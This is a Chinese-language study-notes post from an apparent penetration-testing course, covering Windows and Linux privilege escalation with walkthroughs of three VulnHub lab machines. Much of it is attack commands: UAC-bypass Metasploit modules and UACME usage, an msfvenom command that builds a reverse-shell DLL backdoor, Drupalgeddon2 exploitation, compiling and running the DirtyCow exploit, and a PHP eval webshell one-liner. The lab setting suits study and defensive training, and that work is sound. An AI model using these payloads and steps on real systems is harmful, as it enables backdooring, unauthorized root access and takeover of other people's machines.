第137-138天:Win系统提升篇&UAC绕过&DLL劫持&未引号路径&可控服务&全检项目

权限提升-Win系统权限提升篇&计算机用户&UAC绕过&DLL劫持&未引号路径

image-20250910093028992

演示案例-Win系统提权-本地管理用户-UAC绕过

1
msconfig

image-20250910093156497

image-20250910093803022

就是安装软件的时候就会弹出这个东西。

Win10-BypassUAC自动提权-MSF&UACME

1
2
3
为了远程执行目标的exe或者bat可执行文件需要绕过此安全机制
在用户到系统权限自动提权中也学通过BypassUAC实现自动化提权
绕过项目:MSF内置,Powershell渗透框架,UACME项目(推荐)

image-20250910094343433

MSF绕过UAC常用模块

1
2
3
4
5
use use exploit/windows/local/bypassuac //针对旧版本的win7
use exploit/windows/local/bypassuac_sluihijack //针对新版本的win10/win11等
use exploit/windows/local/bypassuac_silentcleanup //针对新版本的win10/win11等
#这两条针对win10/win11我试了一下不行,下面是我试了可以的
use exploit/windows/local/bypassuac_fodhelper

image-20250910095917260

image-20250910101234262

UACME项目

项目地址:https://github.com/hfiref0x/UACME

1
2
Akagi64.exe 41 C:\Users\win\Desktop\msf.exe
#这里的后面要跟上绝对路径,不能是相对路径

image-20250910102236385

这个时候弹回来的shell,就是就可以自动提权了。

演示案例-Win系统提权-本地普通用户/WEB权限-DLL劫持(被动等待)

Windows-DLL劫持提权应用配合MSF-FlashFXP

原理:Windows应用程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

1
2
3
4
5
6
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CMD
6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-等待管理员启动应用成功

image-20250910102650511

image-20250910102656272

检测应用程序调用的dll

1、ChkDllHijack

项目地址:https://github.com/anhkgg/anhkgg-tools

image-20250910102737794

这种就可以劫持

image-20250910104220933

这种就是不能劫持。

image-20250910103924885

使用MSF生成dll后门文件并替换程序里调用的dll

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.131  lport=7744 -f dll -o xiaodi.dll

image-20250910104419053

image-20250910104535177

等待目标管理员启动应用成功上线后门

image-20250910104815597

这里还有一个问题,就是替换dll文件之后,软件就不能正常启动,所以实战里面,就要将这个dll文件下载下来,然后在保证正常功能的同时,将后门植入进去。

演示案例-Win系统提权-本地普通用户/WEB权限-未引号服务(被动等待)

Windows-不带引号服务路径配合MSF-MacroExpert

原理:服务路径配置由于目录空格问题,可上传文件配合解析恶意触发执行

image-20250910110232629

image-20250910110245735

image-20250910110250465

过程:检测服务权限配置-制作文件并上传-服务路径指向解析-等待调用成功

检测命令:

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

image-20250910110317363

(我这里没有…..)

image-20250910110455182

物理机有,但是怕把自己物理机搞坏:

image-20250910110603948

上传反弹exe,设置好对应执行名后等待管理员重启服务上线后门

image-20250910110327089

image-20250910110332240

image-20250910110338864

Linux提权

1
2
3
4
5
6
7
1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

信息收集

1、当前主机的操作系统

1
2
3
4
5
6
7
8
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debain
cat /etc/redhat-release # Redhat
cat /etc/centos-release # Centos
cat /etc/os-release # Ubuntu
cat /etc/issue

2、当前主机的内核版本

1
2
3
4
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

内核漏洞筛选

1、MSF检测

1
use post/multi/recon/local_exploit_suggester

2、提权脚本

1
2
3
4
https://github.com/liamg/traitor
https://github.com/The-Z-Labs/linux-exploit-suggester(常用 ./sh文件)
https://github.com/jondonas/linux-exploit-suggester-2(pl文件)
https://github.com/belane/linux-soft-exploit-suggester(py文件)

3、综合脚本

1
2
3
4
https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

应用场景

1
获取到Web权限在Linux服务器上时进行的内核漏洞提权

常见内核漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
...

三个靶机下载地址:

1
2
3
https://www.vulnhub.com/entry/lampiao-1,249/
https://www.vulnhub.com/entry/darkhole-1,724/
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

lampiao

image-20250910155426391

由于是和kali是一个环境,所以进行一个24的网段加全端口的扫描。

image-20250910155643614

image-20250910155726095

打开开放的1898的端口,发现是属于Drupal的cms,所以直接找Nday,看看是否可以直接getshell。

image-20250910155913488

1
2
3
4
5
#直接使用msf,看看上面有没有可以直接getshell的方式
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.111.140
set rport 1898
run

image-20250910160557153

1
2
3
4
5
6
7
#将检测脚本上传到目标服务器
upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell #进入到目标系统的shell
cd /tmp
chmod +x 1.sh
./1.sh

image-20250910161611371

我们可以根据漏洞编号进行提权,有时候这里给的利用链接,利用不了,可能不是没有这个漏洞,而是你用的这个利用exp,不适合当前环境。

可以从windows提权篇章给的两个项目进行搜索,一个是直接有CVE编号,一个是根据年份进行搜索的

1
2
3
4
5
6
#两个搜索poc的项目
https://github.com/Ascotbe/Kernelhub
https://github.com/nomi-sec/PoC-in-GitHub

#当前漏洞的利用链接
https://github.com/gbonacini/CVE-2016-5195

将当中的cpp文件下载下来,然后通过msf上传到目标主机上:

1
2
3
4
upload /root/dcow.cpp /tmp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
#实战里面,如果编译失败,你可以先编译好,之后在上传

image-20250910162454409

1
2
python -c 'import pty; pty.spawn("/bin/bash")'  //利用python起一个shell终端,该脏牛漏洞需要起一个终端才行
./dcow

image-20250910162608195

image-20250910162717196

演示案例-Linux系统提权-Web&内核溢出-Pwnkit(CVE-2021-4034)

同样是使用nmap进行扫描:

1
nmap -p 1-65535 192.168.111.0/24

image-20250910163206712

image-20250910163146229

看到有登陆点,然后可以注册用户,先注册一个用户:xiaodi

image-20250910163406479

注册成功之后,进行登陆

image-20250910163431265

进行抓包查看:

image-20250910163545906

修改之后访问, 发现提示没有权限

image-20250910163608917

image-20250910163700782

image-20250910163818099

image-20250910163936691

image-20250910165441712

然后使用webshell工具链接,我这里是蚁剑,小迪用的哥斯拉,哥斯拉执行了,虽然会乱码但是至少有回显,但是蚁剑连回显都没有。

image-20250910165811839

image-20250910170326007

image-20250910170354008

执行完之后,shell就弹到msf上了。

内核提权

1
2
3
4
5
upload /root/linpeas.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh

image-20250910170518758

image-20250910170629452

使用msf自带的模块进行搜索:

1
search CVE-2021-4034

image-20250910170820959

选择好对应的CVE模块之后,在使用对应的session就可以直接提权成功了

image-20250910170935686

image-20250910171003541

演示案例-Linux系统提权-Web&内核溢出-DirtyPipe(CVE-2022-0847)

image-20250910171314830

1
gobuster dir -u http://192.168.111.142 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

进行目录扫描

image-20250910171543038

image-20250910171606122

image-20250910171755506

写入一句话:

1
<?php @eval($_POST['xiaodi']);?>

image-20250910171942255

或者抓包进行修改。

image-20250910172048946

image-20250910172400929

这里使用豌豆荚还检测不出来,需要使用另外一个检测脚本:

image-20250910173423402

然后使用msf进行搜索利用:

我这里利用失败了,然后想从网上搜索对应的exp进行利用,吃个饭回来发现shell掉了,然后想要重新弹shell,发现webshell也掉了,然后想重新传马,发现nmap连目标都扫不到,明明虚拟机是开的。然后就算了。。。